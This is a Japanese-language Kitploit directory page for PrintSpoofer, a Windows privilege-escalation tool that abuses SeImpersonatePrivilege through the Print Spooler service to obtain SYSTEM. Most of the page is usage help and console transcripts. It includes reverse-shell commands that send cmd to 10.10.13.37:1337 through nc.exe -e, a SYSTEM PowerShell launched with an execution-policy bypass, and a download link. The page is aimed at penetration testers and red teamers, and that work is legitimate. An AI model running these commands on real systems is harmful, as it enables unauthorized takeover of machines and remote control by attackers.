Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
PrintSpoofer — なりすまし権限の悪用:「Printer Bug」を通じて | Kitploit
ツール/GitHubGitHub/itm4n/printspoofer
特権昇格エクスプロイトポストエクスプロイトペネトレーションテストレッドチーミングArchived
GitHubitm4n/printspoofer

PrintSpoofer

なりすまし権限の悪用:「Printer Bug」を通じて

リポジトリを見る
2.3k36766年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
ウェブサイト

PrintSpoofer

Windows 10 および Server 2016/2019 上で SeImpersonatePrivilege を悪用して LOCAL/NETWORK SERVICE から SYSTEM へ昇格します。

詳細: https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/.

使用方法

-h オプションを使用してヘルプメッセージを確認できます。

root@kitploit:~
C:\TOOLS>PrintSpoofer.exe -h

PrintSpoofer v0.1 (by @itm4n)

  Provided that the current user has the SeImpersonate privilege, this tool will leverage the Print
  Spooler service to get a SYSTEM token and then run a custom command with CreateProcessAsUser()

Arguments:
  -c <CMD>    Execute the command *CMD*
  -i          Interact with the new process in the current command prompt (default is non-interactive)
  -d <ID>     Spawn a new process on the desktop corresponding to this session *ID* (check your ID with qwinsta)
  -h          That's me :)

Examples:
  - Run PowerShell as SYSTEM in the current console
      PrintSpoofer.exe -i -c powershell.exe
  - Spawn a SYSTEM command prompt on the desktop of the session 1
      PrintSpoofer.exe -d 1 -c cmd.exe
  - Get a SYSTEM reverse shell
      PrintSpoofer.exe -c "c:\Temp\nc.exe 10.10.13.37 1337 -e cmd"

使用方法 1: SYSTEM プロセスを生成して対話する

対話型 シェルがある場合、現在のコンソールで新しい SYSTEM プロセスを作成できます。

ユースケース: bind shell、reverse shell、psexec.py など。

root@kitploit:~
C:\TOOLS>PrintSpoofer.exe -i -c cmd
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.19613.1000]
(c) 2020 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami
nt authority\system

使用方法 2: SYSTEM プロセスを生成して終了する

コマンドを実行できる が対話型シェルがない場合、新しい SYSTEM プロセスを作成して対話せずにすぐに終了できます。

ユースケース: WinRM、WebShell、wmiexec.py、smbexec.py など。

リバースシェルを作成:

root@kitploit:~
C:\TOOLS>PrintSpoofer.exe -c "C:\TOOLS\nc.exe 10.10.13.37 1337 -e cmd"
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK

Netcat リスナー:

root@kitploit:~
C:\TOOLS>nc.exe -l -p 1337
Microsoft Windows [Version 10.0.19613.1000]
(c) 2020 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami
nt authority\system

使用方法 3: デスクトップ上に SYSTEM プロセスを生成する

ローカルまたは RDP 経由でログオンしている場合 (VDI を含む)、デスクトップ上に SYSTEM コマンドプロンプトを生成できます。まず、qwinsta コマンドでセッション ID を確認し、その値を -d オプションで指定します。

ユースケース: ターミナルセッション (RDP)、VDI

root@kitploit:~
C:\TOOLS>qwinsta
 SESSIONNAME       USERNAME                 ID  STATE   TYPE        DEVICE
 services                                    0  Disc
 console           Administrator             1  Active
>rdp-tcp#3         lab-user                  3  Active
 rdp-tcp                                 65536  Listen

C:\TOOLS>PrintSpoofer.exe -d 3 -c "powershell -ep bypass"
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
ツールをダウンロード